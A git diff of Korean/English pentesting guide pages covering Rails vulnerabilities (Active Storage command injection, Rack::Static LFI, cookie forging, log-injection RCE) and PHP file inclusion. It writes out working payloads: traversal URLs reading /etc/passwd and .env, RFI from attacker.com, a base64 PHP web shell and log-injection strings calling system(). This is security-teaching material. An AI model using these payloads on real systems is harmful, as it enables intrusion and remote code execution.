As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
팁:
-- 앱 시작 시 실행되는 다른 boot/eager-load 위치들도 쓰기 가능하면 위험합니다(예: `config/initializers/`가 고전적인 예). 임의 파일 업로드가 `config/` 아래 아무 위치에나 놓이고 나중에 평가되거나 require된다면 부팅 시 RCE를 얻을 수 있습니다.
-- Rails가 부팅 시 로드하도록 사용자 제어 파일을 컨테이너 이미지에 복사하는 dev/staging 빌드를 찾아보세요.
+- 앱 시작 시 실행되는 다른 boot/eager-load 위치도 쓰기 가능하면 위험합니다(예: `config/initializers/`가 전형적인 예). 임의 파일 업로드가 `config/` 아래 아무 곳에나 놓이고 나중에 평가(evaluated)/require 된다면 부팅 시 RCE를 얻을 수 있습니다.
+- Rails가 부팅 시 로드하는 위치로 사용자 제어 파일을 복사하는 dev/staging 빌드를 찾아보세요(컨테이너 이미지 내부 등).
## Active Storage image transformation → command execution (CVE-2025-24293)
-애플리케이션이 Active Storage를 `image_processing` + `mini_magick`과 함께 사용하고 이미지 변환 메서드에 신뢰할 수 없는 파라미터를 전달하면, Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 이전 버전에서 일부 변환 메서드가 기본적으로 잘못 허용되어 command injection이 발생할 수 있습니다.
+When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
-- 취약한 패턴 예:
+- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
-여기서 `params[:t]` 및/또는 `params[:v]`는 공격자가 제어할 수 있습니다.
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
-- 테스트 시 시도할 것
-- variant/processing 옵션, 변환 이름 또는 임의의 ImageMagick 인수를 받는 엔드포인트를 식별하세요.
-- `params[:t]`와 `params[:v]`를 fuzz해서 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick으로 전달되는 원시 인수를 통과시킬 수 있다면 이미지 프로세서 호스트에서 코드 실행을 얻을 수 있습니다.
-- 생성된 variant에 대한 읽기 권한만 있다면, 조작된 ImageMagick 연산을 통해 blind exfiltration을 시도하세요.
+- 테스트 중 시도할 것
+- variant/processing 옵션, transformation 이름 또는 임의의 ImageMagick 인수를 허용하는 엔드포인트가 있는지 확인하세요.
+- Fuzz `params[:t]`와 `params[:v]`로 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick에 도달하는 원시 인수를 전달할 수 있다면 이미지 프로세서 호스트에서 code exec을 얻을 수 있습니다.
+- 생성된 variant에 대해서만 읽기 권한만 있는 경우, 조작한 ImageMagick 연산을 통해 블라인드 exfiltration을 시도하세요.
- 완화/탐지
-- Active Storage + `image_processing` + `mini_magick`를 사용하고 사용자 제어 변환이 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1을 보면 exploitable하다고 간주하세요. 업그레이드 권장 및 메서드/파라미터에 대해 엄격한 allowlists 적용과 강화된 ImageMagick policy를 권장합니다.
+- Active Storage + `image_processing` + `mini_magick`를 사용하고 user-controlled transformations가 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 환경은 exploitable로 간주하세요. 업그레이드와 메서드/파라미터에 대한 엄격한 allowlists 적용, 그리고 강화된 ImageMagick 정책을 권고합니다.
## Rack::Static LFI / path traversal (CVE-2025-27610)
-타깃 스택이 Rack 미들웨어를 직접 사용하거나 프레임워크를 통해 사용하는 경우, `rack` 2.2.13, 3.0.14, 3.1.12 이전 버전은 `:root`가 unset/misconfigured일 때 `Rack::Static`을 통해 Local File Inclusion을 허용합니다. `PATH_INFO`에 인코딩된 traversal가 있으면 프로세스 작업 디렉터리 또는 예상치 못한 root 아래 파일이 노출될 수 있습니다.
+If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
-- `config.ru`나 미들웨어 스택에서 `Rack::Static`을 마운트한 앱을 찾아보세요. 정적 경로에 대해 인코딩된 traversal를 시도해보세요. 예:
+- `config.ru`나 미들웨어 스택에서 `Rack::Static`을 마운트한 앱을 찾아보세요. 예를 들어 정적 경로에 대해 인코딩된 traversal을 시도해 보세요:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
-설정된 `urls:`에 맞게 prefix를 조정하세요. 앱이 파일 내용을 응답하면, 해결된 `:root` 아래의 모든 항목에 대해 LFI가 있는 것입니다.
+구성된 `urls:` 접두사에 맞게 경로를 조정하세요. 앱이 파일 내용을 반환하면, 해결된 `:root` 아래의 모든 파일에 대해 LFI를 가졌을 가능성이 높습니다.
- 완화: Rack을 업그레이드하고 `:root`가 공개 파일 디렉터리만 가리키며 명시적으로 설정되어 있는지 확인하세요.
@@ -45,7 +45,7 @@ GET /favicon.ico/..%2f..%2f.env
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
-최신 쿠키를 복호화하고 재암호화하기 위한 최소한의 Ruby (AES-256-GCM, 최근 Rails의 기본):
+최소한의 Ruby로 modern cookies를 decrypt 및 re-encrypt 하는 방법(AES-256-GCM, recent Rails의 기본):
```ruby
require 'cgi'
require 'json'
@@ -70,9 +70,9 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
-참고:
-- 구형 앱은 AES-256-CBC와 `encrypted cookie` / `signed encrypted cookie` 같은 salts, 또는 JSON/Marshal serializers를 사용할 수 있습니다. 필요에 따라 salts, cipher, serializer를 조정하세요.
-- 권한 탈취/평가 시, 기존 쿠키를 모두 무효화하려면 `secret_key_base`를 회전(rotate)하세요.
+Notes:
+- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
+- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
## See also (Ruby/Rails-specific vulns)
@@ -92,9 +92,83 @@ puts "Forged cookie: #{CGI.escape(forged)}"
{{#endref}}
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
-## References
+앱(종종 간단한 Rack/Sinatra/Rails 엔드포인트)이 다음 둘을 모두 만족할 때:
+- 사용자 제어 문자열을 그대로 로그에 기록하고,
+- 이후 동일한 문자열로부터 파생된 경로에 있는 파일을 `load`한다 (`Pathname#cleanpath` 이후),
-- Rails 보안 공지: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+로그를 오염시킨 뒤 앱이 해당 로그 파일을 `load`하도록 유도하면 종종 원격 코드 실행(remote code execution)을 달성할 수 있습니다. 핵심 원리:
+
+- Ruby의 `load`는 파일 확장자와 무관하게 대상 파일의 내용을 Ruby로 평가합니다. 내용이 Ruby로 파싱되는 모든 읽을 수 있는 텍스트 파일이 실행됩니다.
+- `Pathname#cleanpath`는 파일시스템을 참조하지 않고 `.` 및 `..` 세그먼트를 정리(collapse)합니다. 이로 인해 path smuggling이 가능해집니다: 공격자가 제어하는 불필요한 문자열을 로그에 앞에 추가해도 cleanpath 후에는 여전히 실행하려는 의도된 파일로 해석될 수 있습니다(예: `../logs/error.log`).
+
+### Minimal vulnerable pattern
+```ruby
+require 'logger'
+require 'pathname'
+
+logger = Logger.new('logs/error.log')
+param = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}") # Raw log of user input
+load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
+```
+### 로그에 유효한 Ruby가 포함될 수 있는 이유
+`Logger`는 다음과 같은 접두사 라인을 작성합니다:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+```
+In Ruby에서는 `#`이 주석을 시작하고 `9/2/2025`는 단지 산술입니다. 유효한 Ruby 코드를 주입하려면 다음이 필요합니다:
+- 페이로드를 새 줄에서 시작하여 INFO 라인의 `#`에 의해 주석 처리되지 않도록 하세요; 선행 줄바꿈(`\n` 또는 `%0A`)을 전송하세요.
+- INFO 라인에서 도입된 미완성 `[`를 닫으세요. 일반적인 트릭은 `]`로 시작하고 선택적으로 파서를 만족시키기 위해 `][0]=1`을 사용하는 것입니다.
+- 그런 다음 임의의 Ruby 코드를 넣으세요(예: `system(...)`).
+
+Example of what will end up in the log after one request with a crafted param:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### 로그에 코드가 기록되면서 동시에 로그 경로로 해석되는 단일 문자열 스머글링
+공격자가 제어하는 하나의 문자열로 다음을 만족해야 합니다:
+- 로그가 raw로 기록될 때, 우리의 Ruby payload를 포함하고,
+- `Pathname.new().cleanpath`를 통과하면 `../logs/error.log`로 해석되어 이후 `load`가 방금 오염된 로그 파일을 실행하게 됩니다.
+
+`Pathname#cleanpath`은 schemes를 무시하고 traversal 구성 요소를 축약하므로, 다음과 같이 동작합니다:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath # => ../logs/error.log
+```
+- `#` before `://`은 로그가 실행될 때 Ruby가 꼬리 부분을 무시하도록 보장하고, `cleanpath`는 여전히 접미사를 `../logs/error.log`로 축소합니다.
+- 선행 newline은 INFO 라인에서 벗어나게 하고; `]`는 늘어진 대괄호를 닫으며; `][0]=1`은 파서를 만족시킵니다.
+
+### 종단 간 익스플로잇
+1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. The app logs your raw string into `logs/error.log`.
+3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
+4. Ruby executes the code you injected in the log.
+
+To exfiltrate a file in a CTF-like environment:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (첫 문자는 개행 문자입니다):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
+## 참고자료
+
+- Rails 보안 공지: CVE-2025-24293 Active Storage 안전하지 않은 변환 메서드 (수정됨: 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub 권고: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index 7a5c6b854..f40a78064 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -13,9 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
-유효한 credentials를 찾으면 추가적인 metasploit scanner modules를 사용해 정보를 얻을 수 있습니다.
-
-
+유효한 credentials를 찾으면 추가 metasploit scanner modules를 사용해 정보를 얻을 수 있습니다.
### 참고
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 2897d7c61..5bcf2f39a 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -4,14 +4,14 @@
## File Inclusion
-**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (이점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
+**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
-이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
+이 취약점은 사용자가 서버가 로드할 파일을 어떤 방식으로든 제어할 수 있을 때 발생합니다.
취약한 **PHP 함수**: require, require_once, include, include_once
-이 취약점을 exploit하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+이 취약점을 악용하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@@ -19,16 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
-**여러 \*nix LFI 리스트를 혼합하고 경로를 더 추가하여 만든 목록:**
+**여러 \*nix LFI 목록을 혼합하고 경로를 더 추가하여 제가 만든 목록:**
+
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
-또한 `/`를 `\`로 바꿔보세요` \`\
+또한 `/`를 `\`로 바꿔보세요\
또한 `../../../../../`를 추가해보세요
-`/etc/password` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다
+취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@@ -39,18 +40,18 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
-또한 `/`를 `\`로 바꿔보세요` \`\
+또한 `/`를 `\`로 바꿔보세요\
또한 `C:/`를 제거하고 `../../../../../`를 추가해보세요
-`/boot.ini` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다
+취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
linux의 LFI 리스트를 확인하세요.
-## Basic LFI and bypasses
+## 기본 LFI 및 우회
-모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\]().
+모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
@@ -62,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
-제공된 문자열의 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php")
+제공된 문자열 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
-이는 **PHP 5.4 이후로 해결되었습니다**
+이 문제는 **PHP 5.4에서 해결되었습니다**
### **인코딩**
-비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:
+double URL encode (및 기타)와 같은 비표준 인코딩을 사용할 수 있습니다:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
-### 기존 폴더에서
+### 존재하는 폴더에서
-back-end가 folder path를 확인하고 있을 수도 있습니다:
+아마 백엔드가 폴더 경로를 검사하고 있을 수 있습니다:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
-### 서버에서 파일 시스템 디렉터리 탐색
+### 서버의 파일 시스템 디렉토리 탐색
-서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함합니다. 다음은 이를 수행하는 자세한 방법입니다:
+서버의 파일 시스템은 특정 기법을 사용하여 파일뿐만 아니라 디렉토리도 재귀적으로 탐색할 수 있습니다. 이 과정은 현재 디렉토리의 깊이를 파악하고 특정 폴더의 존재를 확인하는 절차를 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
-1. **디렉터리 깊이 확인:** 서버가 Linux 기반인 경우 `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다. 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
+1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져와 확인합니다 (서버가 Linux 기반인 경우에 해당). 예시 URL은 다음과 같이 구성될 수 있으며, 이는 깊이가 3임을 나타냅니다:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가된 디렉토리 레벨 때문에 depth를 하나 증가시켜야 합니다:
+2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 다시 이동하세요. 추가된 디렉터리 레벨 때문에 깊이를 하나 늘려야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
-3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다:
-- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
-- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
-4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
+3. **Interpret the Outcomes:** 서버 응답은 해당 폴더의 존재 여부를 나타냅니다:
+- **Error / No Output:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
+- **Contents of `/etc/passwd`:** `/etc/passwd`의 내용이 반환되면 `private` 폴더의 존재가 확인됩니다.
+4. **Recursive Exploration:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용하여 하위 디렉토리나 파일을 더 조사할 수 있습니다.
-파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 그에 맞게 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면:
+파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
-Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만들어내는 것이다.
+Path truncation은 웹 애플리케이션의 파일 경로를 조작하기 위해 사용되는 기법입니다. 이는 종종 파일 경로 끝에 추가 문자를 붙이는 특정 보안 조치를 우회하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
-In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있다. 예를 들어:
+In PHP, 다양한 파일 경로 표현이 파일 시스템의 특성으로 인해 동등하게 취급될 수 있습니다. 예를 들어:
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
-- 마지막 6글자가 `passwd`일 때, 끝에 `/`를 붙여 `passwd/`로 만들어도 대상 파일은 바뀌지 않는다.
-- 마찬가지로 파일 경로에 `.php`가 붙어 있으면 (예: `shellcode.php`) 끝에 `/.`를 추가해도 접근되는 파일은 변경되지 않는다.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` 는 모두 동일한 경로로 취급됩니다.
+- 마지막 6자가 `passwd`일 때, `/`를 추가해 `passwd/`로 만들어도 대상 파일은 변경되지 않습니다.
+- 마찬가지로 파일 경로에 `.php`가 붙어 있을 때(예: `shellcode.php`), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않습니다.
-아래 예제들은 path truncation을 활용하여 민감한 내용(사용자 계정 정보) 때문에 흔히 목표가 되는 `/etc/passwd`에 접근하는 방법을 보여준다:
+The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -124,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-이러한 시나리오에서는 필요한 트래버설 수가 약 2027개일 수 있지만, 이 수는 서버 구성에 따라 달라질 수 있습니다.
+이러한 시나리오에서는 필요한 traversals 수가 약 2027회일 수 있지만, 이 수치는 서버의 구성에 따라 달라질 수 있습니다.
-- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot 세그먼트 및 문자를 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
-- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 다음 `/etc/passwd`로 접근하는 데 필요한 정확한 `../` 반복 횟수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열은 중화되지만 원하는 경로(`/etc/passwd`)는 유지되도록 할 수 있습니다.
-- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot segments 및 문자들을 결합하면 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버가 덧붙인 문자열을 사실상 무시하게 만들 수 있습니다.
+- **Determining the Required Number of Traversals**: 시도와 오류를 통해 루트 디렉터리로, 그 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 `.php` 같은 덧붙여진 문자열을 무력화시키면서 원하는 경로(`/etc/passwd`)는 그대로 유지되도록 할 수 있습니다.
+- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예비 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
-path truncation 기법을 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 서로 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 자주 필요합니다.
+When employing path truncation techniques, 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 매우 중요합니다. 각 시나리오마다 다른 접근 방식이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 종종 필요합니다.
**이 취약점은 PHP 5.3에서 수정되었습니다.**
@@ -144,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
-php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **`allow_url_include`**가 **Off.**로 설정되어 있기 때문입니다. 동작하려면 이를 **On**으로 설정해야 하며, 그 경우 서버에 있는 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:
+php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **`allow_url_include`**가 **Off.**이기 때문입니다. 작동하려면 **On**이어야 하며, 그 경우 서버의 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-만약 어떤 이유로 **`allow_url_include`**가 **On**인데 PHP가 외부 웹페이지 접근을 **filtering**한다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:
+만약 어떤 이유로 **`allow_url_include`** 가 **On** 이지만 PHP가 **filtering** 방식으로 외부 웹페이지 접근을 막고 있다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
-> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가된 것입니다. 따라서 문자열은 `.txt`로 끝나고 b64 decode 이후 그 부분은 단순한 무의미한 데이터가 되어 실제 PHP 코드만 포함되어(따라서 실행됩니다).
->
-> 또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
+> 이전 코드에서 마지막 `+.txt`는 공격자가 문자열이 `.txt`로 끝나길 원했기 때문에 추가한 것입니다. 그래서 문자열은 그것으로 끝나고 b64 decode 이후 해당 부분은 단지 무의미한 데이터만 반환하므로 실제 PHP 코드만 포함(따라서 실행)됩니다.
+
+Another example **not using the `php://` protocol** would be:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 루트 요소
-python에서 다음과 같은 코드의 경우:
+다음과 같은 python 코드에서:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@@ -174,11 +175,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
이것은 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
-> 컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 무시되며 결합은 절대 경로 컴포넌트부터 계속됩니다.
+> 만약 어떤 컴포넌트가 절대 경로(absolute path)라면, 그 이전의 모든 컴포넌트는 버려지고 결합(joining)은 절대 경로 컴포넌트부터 계속됩니다.
## Java 디렉토리 목록
-Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환되는 것처럼 보입니다**. 이는 다른 언어에서는 발생하지 않는 것 같습니다(내가 알기로는).
+Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면**, **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않는 것으로 보입니다(내가 알기로는).
## 상위 25개 파라미터
@@ -210,38 +211,38 @@ Java에서 Path Traversal이 있고 파일 대신 **디렉토리를 요청하면
?mod={payload}
?conf={payload}
```
-## LFI / RFI PHP 래퍼 및 프로토콜 사용
+## LFI / RFI: PHP 래퍼 및 프로토콜 사용
### php://filter
-PHP filters는 읽거나 쓰기 전에 데이터에 대한 기본적인 **수정 작업**을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나뉩니다:
+PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 합니다. 필터에는 5가지 범주가 있습니다:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: 데이터에서 태그를 제거( "<" 와 ">" 문자 사이의 모든 것)
+- `string.strip_tags`: 데이터에서 태그를 제거합니다 ( "<" 와 ">" 문자 사이의 모든 것 )
- Note that this filter has disappear from the modern versions of PHP
